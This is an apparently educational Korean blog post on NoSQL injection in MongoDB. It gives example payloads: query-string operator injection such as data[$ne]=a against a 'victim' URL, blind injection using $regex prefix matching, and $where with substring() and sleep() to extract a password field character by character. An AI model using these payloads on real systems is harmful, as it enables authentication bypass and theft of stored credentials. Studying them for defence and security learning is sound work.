No SQL Inection
No SQL Inection
No SQL Injection도 SQL Inection과 유사하게 쿼리에 대한 제대로 된 검증이 없어서 발생됩니다. MongoDB의 같은 경우 Object, Array 타입을 사용할 수 있어서 `$eq` `$ne` 와 같은 연산자를 사용할 수 있습니다.
http://victim/?data=1234
-> data : 1234
http://victim/?data[]=array
-> data:['array']
http://victim/?data[]=1234&data[]=array
-> data:['1234','array']
http://victim/?data['username']=kim
-> data:{ 'username' : 'kim' }
http://victim/?data['username']=kim&data=0000
-> data:{ 'username' : 'kim' , '0000':true }
Injection
이제 MongoDB의 연산자를 사용해서 Injection을 하는 형태를 알아보겠습니다. 아래와 같은 쿼리가 질의되면 "a"가 아닌 모든 값들을 반환받게 됩니다. `$ne`(not equal)의 의미는 해당 되는 데이터가 아닌 것을 의미합니다.
http://victim/query?data[$ne]=a
db.collection('database').find({
'data': { '$ne' : 'a' }
})
Blind NoSQL Injection
Blind Injection은 쿼리에 대한 결과를 모두 출력하지 않지만 결과 값에 대한 어떠한 반응이 있을 때 사용할 수 있는 Injection 기법입니다. 공격 방법을 알기 전에 `$regex` `$where` `$text` `$expr`를 먼저 알아보겠습니다.
$regex
$regex는 정규식을 사용할 수 있습니다.
db.user.find({password: {$regex : "^a"} })
db.user.find({password: {$regex : "^admin"} })
-> "^"를 통해 맨 앞글자부터 순차적으로 맞춰야 합니다.
db.user.find({password: {$regex : ".{[숫자]}" })
-> value의 길이를 구할 수 있습니다.
$where
$where은 Javascript를 사용하여 데이터를 조회할 수 있습니다. Javascript의 sleep() substring()등을 이용하여 Injection을 수행합니다.
주의해야 할 것이 $where은 Field부분에서는 사용할 수 없습니다.
db.user.find({ $where : "return 1==1" })
-> 조건이 True가 나와 모든 값을 조회합니다.
db.user.find({ uid : { $where : "return 1==1" })
-> Field값을 기분으로 연산자를 사용하고 있어서 Error가 발생됩니다.
- substring(index,offset)
db.user.find({ $where: "this.upw.substring(0,1)=='a'" })
-> upw의 첫 문자가 'a'이면 True를 반환해 document의 모든 데이터를 출력할 것 입니다.
- sleep(milliseconds)
db.user.find({ $where : this.upw.substring(0,1)=='a'&&sleep(5000) })
-> AND연산으로 인해 upw의 첫번째 문자가 'a'이면 sleep(5000)되어 응답값이 5초 느리게 올 것입니다.
❗ 저작권
'Hacking > Web' 카테고리의 다른 글
[Web Hacking] DNS rebinding (0) | 2022.07.30 |
---|---|
[Web Hacking] Missconfiguration DBMS (0) | 2022.07.26 |
[Web Hacking] SSRF (0) | 2022.07.25 |
[Web Hacking] Command Injection (0) | 2022.07.24 |
[Web Hacking] No SQL Database (0) | 2022.07.23 |